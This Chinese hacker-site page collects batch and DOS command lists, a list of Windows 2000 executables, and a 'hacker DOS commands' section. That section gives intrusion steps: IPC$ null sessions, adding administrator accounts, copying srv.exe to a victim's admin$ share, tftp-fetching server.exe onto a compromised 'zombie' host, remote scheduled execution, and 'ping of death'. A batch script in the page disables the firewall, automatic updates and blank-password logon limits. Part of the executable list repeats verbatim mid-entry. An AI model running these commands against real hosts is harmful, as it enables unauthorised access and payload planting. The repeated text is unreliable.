当前位置:首页 > 黑客技术 > 正文内容

黑客bat命令大全(bat 命令大全)

hacker2年前 (2022-05-30)黑客技术95
本文导读目录:

bat的常用命令有哪些

gpedit.msc-----组策略 sndrec32-------录音机

Nslookup-------IP地址侦测器e xplorer-------打开资源管理器

logoff---------注销命令 tsshutdn-------60秒倒计时关机命令

lusrmgr.msc----本机用户和组 services.msc---本地服务设置

oobe/msoobe /a----检查XP是否激活notepad--------打开记事本

cleanmgr-------垃圾整理 net start messenger----开始信使服务

compmgmt.msc---计算机管理net stop messenger-----停止信使服务

conf-----------启动netmeeting dvdplay--------DVD播放器

charmap--------启动字符映射表  diskmgmt.msc---磁盘管理实用程序

calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序

chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器

regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生

rononce -p ----15秒关机 dxdiag---------检查DirectX信息

regedt32-------注册表编辑器Msconfig.exe---系统配置实用程序

rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况

regedit.exe----注册表winchat--------XP自带局域网聊天

progman--------程序管理器  winmsd---------系统信息

perfmon.msc----计算机性能监测程序 winver---------检查Windows版本

sfc /scannow-----扫描错误并复原  winipcfg-------IP配置

taskmgr-----任务管理器(2000/xp/2003) command--------cmd

fsmgmt.msc 共享文件夹 netstat -an----查看端口

osk 屏幕键盘 install.asp----修改注册网页

eventvwr.msc 事件查看器

secpol.msc 本地安全设置

services.msc 服务

2K

accwiz.exe 辅助工具向导 

acsetups.exe acs setup dcom server executable 

actmovie.exe 直接显示安装工具 

append.exe 允许程序打开制定目录中的数据 

arp.exe 显示和更改计算机的ip与硬件物理地址的对应列表 

at.exe 计划运行任务 

atmadm.exe 调用管理器统计 

attrib.exe 显示和更改文件和文件夹属性 

autochk.exe 检测修复文件系统 

autoconv.exe 在启动过程中自动转化系统 

autofmt.exe 在启动过程中格式化进程 

autolfn.exe 使用长文件名格式 

bootok.exe boot acceptance application for registry 

bootvrfy.exe 通报启动成功 

cacls.exe 显示和编辑acl 

calc.exe 计算器 

cdplayer.exe cd播放器 

change.exe 与终端服务器相关的查询 

charmap.exe 字符映射表 

chglogon.exe 启动或停用会话记录 

chgport.exe 改变端口(终端服务) 

chgusr.exe 改变用户(终端服务) 

chkdsk.exe 磁盘检测程序 

chkntfs.exe 磁盘检测程序 

cidaemon.exe 组成ci文档服务 

cipher.exe 在ntfs上显示或改变加密的文件或目录 

cisvc.exe 索引内容 

ckcnv.exe 变换cookie 

cleanmgr.exe 磁盘清理 

cliconfg.exe sql客户网络工具 

clipbrd.exe 剪贴簿查看器 

clipsrv.exe 运行clipboard服务 

clspack.exe 建立系统文件列表清单 

cluster.exe 显示域的集群 

_cmd_.exe 没什么好说的! 

cmdl32.exe 自动下载连接管理 

cmmgr32.exe 连接管理器 

cmmon32.exe 连接管理器监视 

cmstp.exe 连接管理器配置文件安装程序 

comclust.exe 集群 

comp.exe 比较两个文件和文件集的内容* 

compact.exe 显示或改变ntfs分区上文件的压缩状态 

conime.exe ime控制台 

control.exe 控制面板 

convert.exe 转换文件系统到ntfs 

convlog.exe 转换iis日志文件格式到ncsa格式 

cprofile.exe 转换显示模式 

cscript.exe 较本宿主版本 

csrss.exe 客户服务器runtime进程 

csvde.exe 日至格式转换程序 

dbgtrace.exe 和terminal server相关 

dcomcnfg.exe dcom配置属性 

dcphelp.exe ? 

dcpromo.exe ad安装向导 

ddeshare.exe dde共享 

ddmprxy.exe  

debug.exe 就是debug啦! 

dfrgfat.exe fat分区磁盘碎片整理程序 

dfrgntfs.exe ntfs分区磁盘碎片整理程序 

dfs_cmd_.exe 配置一个dfs树 

dfsinit.exe 分布式文件系统初始化 

dfssvc.exe 分布式文件系统服务器 

diantz.exe 制作cab文件 

diskperf.exe 磁盘性能计数器 

dllhost.exe 所有com+应用软件的主进程 

dllhst3g.exe  

dmadmin.exe 磁盘管理服务 

dmremote.exe 磁盘管理服务的一部分 

dns.exe dns applications dns 

doskey.exe 命令行创建宏 

dosx.exe dos扩展 

dplaysvr.exe 直接运行帮助 

drwatson.exe 华生医生错误检测 

drwtsn32.exe 华生医生显示和配置管理 

dtcsetup.exe installs mdtc 

dvdplay.exe dvd播放 

dxdiag.exe direct-x诊断工具 

edlin.exe 命令行的文本编辑器(历史悠久啊!) 

edlin.exe 命令行的文本编辑器(历史悠久啊!) 

esentutl.exe ms数据库工具 

eudcedit.exe type造字程序 

eventvwr.exe 事件查看器 

evnt_cmd_.exe event to trap translator; configuration tool 

evntwin.exe event to trap translator setup 

exe2bin.exe 转换exe文件到二进制 

expand.exe 解压缩 

extrac32.exe 解cab工具 

fastopen.exe 快速访问在内存中的硬盘文件 

faxcover.exe 传真封面编辑 

faxqueue.exe 显示传真队列 

faxsend.exe 发送传真向导 

faxsvc.exe 启动传真服务 

fc.exe 比较两个文件的不同 

find.exe 查找文件中的文本行 

findstr.exe 查找文件中的行 

finger.exe 一个用户并显示出统计结果 

fixmapi.exe 修复mapi文件 

flattemp.exe 允许或者禁用临时文件目录 

fontview.exe 显示字体文件中的字体 

forcedos.exe forces a file to start in dos mode. 强制文件在dos模式下运行 

freecell.exe popular windows game 空当接龙 

ftp.exe file transfer protocol used to transfer files over a network conne

ction 就是ftp了 

gdi.exe graphic device interface 图形界面驱动 

grovel.exe  

grpconv.exe program manager group convertor 转换程序管理员组 

help.exe displays help for windows 2000 commands 显示帮助 

hostname.exe display hostname for machine. 显示机器的hostname 

ie4uinit.exe ie5 user install tool ie5用户安装工具 

ieshwiz.exe customize folder wizard 自定义文件夹向导 

iexpress.exe create and setup packages for install 穿件安装包 

iisreset.exe restart iis admin service 重启iis服务 

internat.exe keyboard language indicator applet 键盘语言指示器 

ipconfig.exe windows 2000 ip configuration. 察看ip配置 

ipsecmon.exe ip security monitor ip安全监视器 

ipxroute.exe ipx routing and source routing control program ipx路由和源路由 

控制程序 

irftp.exe setup ftp for wireless communication 无线连接 

ismserv.exe intersite messaging service 安装或者删除service control manage 

r中的服务 

jdbgmgr.exe microsoft debugger for java 4 java4的调试器 

jetconv.exe convert a jet engine database 转换jet engine数据库 

jetpack.exe compact jet database. 压缩jet数据库 

jview.exe command-line loader for java java的命令行装载者 

krnl386.exe core component for windows 2000 2000的核心组件 

label.exe change label for drives 改变驱动器的卷标 

lcwiz.exe license compliance wizard for local or remote systems. 许可证符合 

向导 

ldifde.exe ldif cmd line manager ldif目录交换命令行管理 

licmgr.exe terminal server license manager 终端服务许可协议管理 

lights.exe display connection status lights 显示连接状况 

llsmgr.exe windows 2000 license manager 2000许可协议管理 

llssrv.exe start the license server 启动许可协议服务器 

lnkstub.exe  

locator.exe rpc locator 远程定位 

lodctr.exe load perfmon counters 调用性能计数 

logoff.exe log current user off. 注销用户 

lpq.exe displays status of a remote lpd queue 显示远端的lpd打印队列的状态, 

显示被送到基于unix的服务器的打印任务 

lpr.exe send a print job to a network printer. 重定向打印任务到网络中的打印 

机。通常用于unix客户打印机将打印任务发送给连接了打印设备的nt的打印机服务器。 

lsass.exe lsa executable and server dll 运行lsa和server的dll 

lserver.exe specifies the new dns domain for the default server 指定默认se 

rver新的dns域 

os2.exe an os/2 warp server (os2 /o) os/2 

os2srv.exe an os/2 warp server os/2 

os2ss.exe an os/2 warp server os/2 

osk.exe on screen keyboard 屏幕键盘 

packager.exe windows 2000 packager manager 对象包装程序 

pathping.exe combination of ping and tracert 包含ping和tracert的程序 

pax.exe is a posix program and path names used as arguments must be specif 

ied in posix format. use "//c/users/default" instead of "c:usersdefault." 

启动便携式存档互换 (pax) 实用程序 

pentnt.exe used to check the pentium for the floating point division error

. 检查pentium的浮点错误 

perfmon.exe starts windows performance monitor 性能监视器 

ping.exe packet internet groper 验证与远程计算机的连接 

posix.exe used for backward compatibility with unix 用于兼容unix 

print.exe cmd line used to print files 打印文本文件或显示打印队列的内容。 

progman.exe program manager 程序管理器 

proquota.exe profile quota program 

psxss.exe posix subsystem application posix子系统应用程序 

qappsrv.exe displays the available application terminal servers on the net 

work 

在网络上显示终端服务器可用的程序 

qprocess.exe display information about processes local or remote 在本地或远 

程显示进程的信息(需终端服务) 

query.exe query termserver user process and sessions 查询进程和对话 

quser.exe display information about a user logged on 显示用户登陆的信息(需 

终端服务) 

qwinsta.exe display information about terminal sessions. 显示终端服务的信息 

rasadmin.exe start the remote access admin service 启动远程访问服务 

rasautou.exe creates a ras connection 建立一个ras连接 

rasdial.exe dial a connection 拨号连接 

ras.exe starts a ras connection 运行ras连接 

rcp.exe copies a file from and to a rcp service. 在 windows 2000 计算机和运 

行远程外壳端口监控程序 rshd 的系统之间复制文件 

rdpclip.exe rdpclip allows you to copy and paste files between a terminal 

session and client console session. 再终端和本地复制和粘贴文件 

recover.exe recovers readable information from a bad or defective disk 从坏 

的或有缺陷的磁盘中恢复可读取的信息。 

redir.exe starts the redirector service 运行重定向服务 

regedt32.exe 32-bit register service 32位注册服务 

regini.exe modify registry permissions from within a script 用脚本修改注册 

许可 

register.exe register a program so it can have special execution character 

istics. 注册包含特殊运行字符的程序 

regsvc.exe  

regsvr32.exe registers and unregister's dll's. as to how and where it regi 

ster's them i dont know. 注册和反注册dll 

regtrace.exe options to tune debug options for applications failing to dum 

p trace statements 

trace 设置 

regwiz.exe registration wizard 注册向导 

remrras.exe  

replace.exe replace files 用源目录中的同名文件替换目标目录中的文件。 

reset.exe reset an active section 重置活动部分 

rexec.exe runs commands on remote hosts running the rexec service. 在运行 

rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机 

上的用户名,只有安装了 tcp/ip 协议后才可以使用该命令。 

risetup.exe starts the remote installation service wizard. 运行远程安装向导 

服务 

route.exe display or edit the current routing tables. 控制网络路由表 

routemon.exe no longer supported 不再支持了! 

router.exe router software that runs either on a dedicated dos or on an os 

. 检查pentium的浮点错误 

perfmon.exe starts windows performance monitor 性能监视器 

ping.exe packet internet groper 验证与远程计算机的连接 

posix.exe used for backward compatibility with unix 用于兼容unix 

print.exe cmd line used to print files 打印文本文件或显示打印队列的内容。 

progman.exe program manager 程序管理器 

proquota.exe profile quota program 

psxss.exe posix subsystem application posix子系统应用程序 

qappsrv.exe displays the available application terminal servers on the net 

work 

在网络上显示终端服务器可用的程序 

qprocess.exe display information about processes local or remote 在本地或远 

程显示进程的信息(需终端服务) 

query.exe query termserver user process and sessions 查询进程和对话 

quser.exe display information about a user logged on 显示用户登陆的信息(需 

终端服务) 

qwinsta.exe display information about terminal sessions. 显示终端服务的信息 

rasadmin.exe start the remote access admin service 启动远程访问服务 

rasautou.exe creates a ras connection 建立一个ras连接 

rasdial.exe dial a connection 拨号连接 

ras.exe starts a ras connection 运行ras连接 

rcp.exe copies a file from and to a rcp service. 在 windows 2000 计算机和运 

行远程外壳端口监控程序 rshd 的系统之间复制文件 

rdpclip.exe rdpclip allows you to copy and paste files between a terminal 

session and client console session. 再终端和本地复制和粘贴文件 

recover.exe recovers readable information from a bad or defective disk 从坏 

的或有缺陷的磁盘中恢复可读取的信息。 

redir.exe starts the redirector service 运行重定向服务 

regedt32.exe 32-bit register service 32位注册服务 

regini.exe modify registry permissions from within a script 用脚本修改注册 

许可 

register.exe register a program so it can have special execution character 

istics. 注册包含特殊运行字符的程序 

regsvc.exe  

regsvr32.exe registers and unregister's dll's. as to how and where it regi 

ster's them i dont know. 注册和反注册dll 

regtrace.exe options to tune debug options for applications failing to dum 

p trace statements 

trace 设置 

regwiz.exe registration wizard 注册向导 

remrras.exe  

replace.exe replace files 用源目录中的同名文件替换目标目录中的文件。 

reset.exe reset an active section 重置活动部分 

rexec.exe runs commands on remote hosts running the rexec service. 在运行 

rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机 

上的用户名,只有安装了 tcp/ip 协议后才可以使用该命令。 

risetup.exe starts the remote installation service wizard. 运行远程安装向导 

服务 

route.exe display or edit the current routing tables. 控制网络路由表 

routemon.exe no longer supported 不再支持了! 

router.exe router software that runs either on a dedicated dos or on an os 

/2 system. route软件在 dos或者是os/2系统 

rsh.exe runs commands on remote hosts running the rsh service 在运行 rsh 服 

务的远程计算机上运行命令 

rsm.exe mounts and configures remote system media 配置远程系统媒体 

rsnotify.exe remote storage notification recall 远程存储通知回显 

rsvp.exe resource reservation protocol 源预约协议 

runas.exe run a program as another user 允许用户用其他权限运行指定的工具和 

程序 

rundll32.exe launches a 32-bit dll program 启动32位dll程序 

runonce.exe causes a program to run during startup 运行程序再开始菜单中 

rwinsta.exe reset the session subsystem hardware and software to known ini 

tial values 重置会话子系统硬件和软件到最初的值 

savedump.exe does not write to e:winntuser.dmp 不写入user.dmp中 

scardsvr.exe smart card resource management server 子能卡资源管理服务器 

schupgr.exe it will read the schema update files (.ldf files) and upgrade 

the schema. (part of adsi) 读取计划更新文件和更新计划 

secedit.exe starts security editor help 自动安全性配置管理 

services.exe controls all the services 控制所有服务 

sethc.exe set high contrast - changes colours and display mode logoff to s 

et it back to normal 设置高对比 

setreg.exe shows the software publishing state key values 显示软件发布的国 

家语言 

setup.exe gui box prompts you to goto control panel to configure system co 

mponents 安装程序(转到控制面板) 

setver.exe set version for files 设置 ms-dos 子系统向程序报告的 ms-dos 版本 

号 

sfc.exe system file checker test and check system files for integrity 系统 

文件检查 

sfmprint.exe print services for macintosh 打印macintosh服务 

sfmpsexe.exe  

sfmsvc.exe  

shadow.exe monitor another terminal services session. 监控另外一台中端服务 

器会话 

详细出处参考:http://www.jb51.net/article/5003.htm

bat批处理命令大全

我有一个txt格式的文档,但是字数太多粘贴不上来(超过10000字)你可以加我,我传给你

目录:第一章 批处理基础 第一节 常用批处理内部命令简介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 与 变量延迟 17、ATTRIB 显示或更改文件属性 第二节 常用特殊符号 1、@ 命令行回显屏蔽符 2、% 批处理变量引导符 3、 重定向符 4、 重定向符 5、、、 重定向符 6、| 命令管道符 7、^ 转义字符 8、 组合命令 9、 组合命令 10、|| 组合命令 11、"" 字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章 FOR命令详解 一、基本格式 二、参数 /d 三、参数 /R 四、参数 /L 五、参数 /F 第三章 FOR命令中的变量 一、 ~I - 删除任何引号("),扩展 %I 二、 %~fI - 将 %I 扩展到一个完全合格的路径名 三、 %~dI - 仅将 %I 扩展到一个驱动器号 四、 %~pI - 仅将 %I 扩展到一个路径 五、 %~nI - 仅将 %I 扩展到一个文件名 六、 %~xI - 仅将 %I 扩展到一个文件扩展名 七、 %~sI - 扩展的路径只含有短名 八、 %~aI - 将 %I 扩展到文件的文件属性 九、 %~tI - 将 %I 扩展到文件的日期/时间 十、 %~zI - 将 %I 扩展到文件的大小 十一、 %~$PATH:I 第四章 批处理中的变量 一、系统变量 二、自定义变量 第五章 set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章 if命令讲解 第一种用法:IF [NOT] ERRORLEVEL number command 第二种用法:IF [NOT] string1==string2 command 第三种用法:IF [NOT] EXIST filename command 第四种用法:IF增强的用法 第七章 DOS编程高级技巧 一、界面设计 二、if…else…条件语句 三、循环语句 四、子程序 五、用ftp命令实现自动下载 六、用7-ZIP实现命令行压缩和解压功能 七、调用VBScript程序 八、将批处理转化为可执行文件 九、时间延迟 1、利用ping命令延时 2、利用for命令延时 3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内 4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内 十、模拟进度条 十一、特殊字符的输入及应用 十二、随机数(%random%)的应用技巧 十三、变量嵌套 与 命令嵌套 全文: http://xiangkg.blog.163.com 1、更正了所有的错别字,适当排版,增加条理性。 2、运行改善所有例子,并纠正了一些语法错误。 3、补充了一些不完全的地方。 4、第一章参考了网上许多教程汇编而成。 5、20080229补充了变量延迟的问题。 6、20080305修改了参数usebackq的说明 7、20080310增加了特殊字符的输入及应用 8、20080311修改了子程序部分 9、20080313修改了echo说明,归纳了9个应用方法 10、20080320增加任意时间延迟方法 11、20080321增加了set计算中十进制与八进制混淆问题的说明 12、20080325修正dos数值计算范围:-2147483648 至2147483647,即-2^31~2^31-1 13、20080326增加随机数的应用 14、20080327修改了“if增强用法”中的defined语句说明 15、20080402增加变量嵌套与命令嵌套,重要技巧之一。很高兴为你回答。如果你觉得满意的话请采纳。谢谢!

黑客常有的dos命令

黑客常用DOS命令:

net use $"\\ip\ipc$Content$nbsp;" " /user:" " 建立IPC空链接

net use $"\\ip\ipc$Content$nbsp;"密码" /user:"用户名" 建立IPC非空链接

net use h: $"\\ip\c$Content$nbsp;"密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

net use h: $"\\ip\c$Content$nbsp;登陆后映射对方C:到本地为H:

net use $"\\ip\ipc$Content$nbsp;/del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数

net start 查看开启了哪些服务

net start 服务名 开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time \\目标ip 查看对方时间

net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip "文本信息" 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc$Content$nbsp;开启ipc$共享

net share ipc$Content$nbsp;/del 删除ipc$共享

net share c$Content$nbsp;/del 删除C:共享

net user guest 12345 用guest用户登陆后用将密码改为12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况,常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中," "和" " 是重定向命令

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP(属telnet登陆后的命令)

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

copy c:\srv.exe $"\\ip\admin$Content$nbsp;复制本地c:\srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

copy $\svv.exe"\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序,并显示出:请按任意键继续....

if 在批处理程序中执行条件处理(更多说明见if命令及变量)

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 pass.txt 将"信息"保存到pass.txt文件中

findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

print 文件名 打印文本文件

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:

doskey dir= taskmgr 调出任务管理器 chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe path 路径\可执行文件的文件名为可执行文件设置一个路径。 cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; regedit /e 注册表文件名 导出注册表 cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 cacls 文件名 查看文件的访问用户权限列表 REM 文本内容 在批处理文件中添加注解 netsh 查看或更改本地网络配置情况 IIS服务命令: iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) iisreset /start或stop 启动(停止)所有Internet服务 iisreset /restart 停止然后重新启动所有Internet服务 iisreset /status 显示所有Internet服务状态 iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 FTP 命令: (后面有详细说明内容) ftp的命令行格式为: ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 -d 使用调试方式。 -n 限制ftp的自动登录,即不使用.netrc文件。 -g 取消全局文件名。 help [命令] 或 ?[命令] 查看命令说明 bye 或 quit 终止主机FTP进程,并退出FTP管理方式. pwd 列出当前远端主机目录 put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 mget [remote-files] 从远端主机接收一批文件至本地主机 mput local-files 将本地主机中一批文件传送至远端主机 dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 ascii 设定以ASCII方式传送文件(缺省值) bin 或 image 设定以二进制方式传送文件 bell 每完成一次文件传送,报警提示 cdup 返回上一级目录 close 中断与远程服务器的ftp会话(与open对应) open host[port] 建立指定ftp服务器连接,可指定连接端口 delete 删除远端主机中的文件 mdelete [remote-files] 删除一批文件

求几个bat命令

@echo off

pause

echo 更改计算机名为 平湖信三

set Name=name

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam" /v @ /t REG_SZ /d "%Name%" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" /v "ComputerName" /t REG_SZ /d "%Name%" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName" /v "ComputerName" /t REG_SZ /d "%Name%" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\Eventlog" /v "ComputerName" /t REG_SZ /d "%Name%" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" /v "ComputerName" /t REG_SZ /d "%Name%" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v "NV Hostname" /t REG_SZ /d "%Name%" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v "Hostname" /t REG_SZ /d "%Name%" /f

pause

ECHO 禁用“使用空白密码的本地帐户只允许进行控制台登录” (0 停用 1 启用)

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /V limitblankpassworduse /t REG_DWORD /d 0 /F

ECHO 关闭WINDOWS防火墙

set scsvc=sharedaccess

sc stop %scsvc%nul

call :scquery

for /f "tokens=3 " %%i in ('sc config %scsvc% start^= disabled') do if [%%i]==[SUCCESS] echo 服务已被禁用……

ECHO 关闭自动更新服务

set scsvc=wuauserv

sc stop %scsvc%nul

call :scquery

for /f "tokens=3 " %%i in ('sc config %scsvc% start^= disabled') do if [%%i]==[SUCCESS] echo 服务已被禁用……

echo 关闭我的电脑属性中的自动更新选项 (1 关闭 2 通知 3 下载 4 开启)

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v AUOptions /t REG_DWORD /d 1 /fnul

echo 刷新注册表

if exist c:\winnt (secedit /refreshpolicy machine_policy /enforce) else (gpupdate /force)

for /l %%i in (3,-1,0) do ping -n 2 127.0.0.%%inul @echo. %%i s 后退出……

:scquery

for /f "tokens=4 " %%i in ('sc query %scsvc%^|find "STATE"') do if [%%i]==[STOPPED] echo 服务已经停止……

for /f "tokens=4 " %%i in ('sc query %scsvc%^|find "STATE"') do if [%%i]==[START_PENDING] echo 服务正在启动……

for /f "tokens=4 " %%i in ('sc query %scsvc%^|find "STATE"') do if [%%i]==[RUNNING] echo 服务正在运行……

for /f "tokens=4 " %%i in ('sc query %scsvc%^|find "STATE"') do if [%%i]==[STOP_PENDING] echo 服务正在停止……

goto :eof

请加入团队:脚本之家 或者 批处理之家 、DOS批处理爱好者

bat 能用的命令有哪些?

很多很多,如果只是普通的话有

gpedit.msc-----组策略 sndrec32-------录音机

Nslookup-------IP地址侦测器 explorer-------打开资源管理器

logoff---------注销命令 tsshutdn-------60秒倒计时关机命令

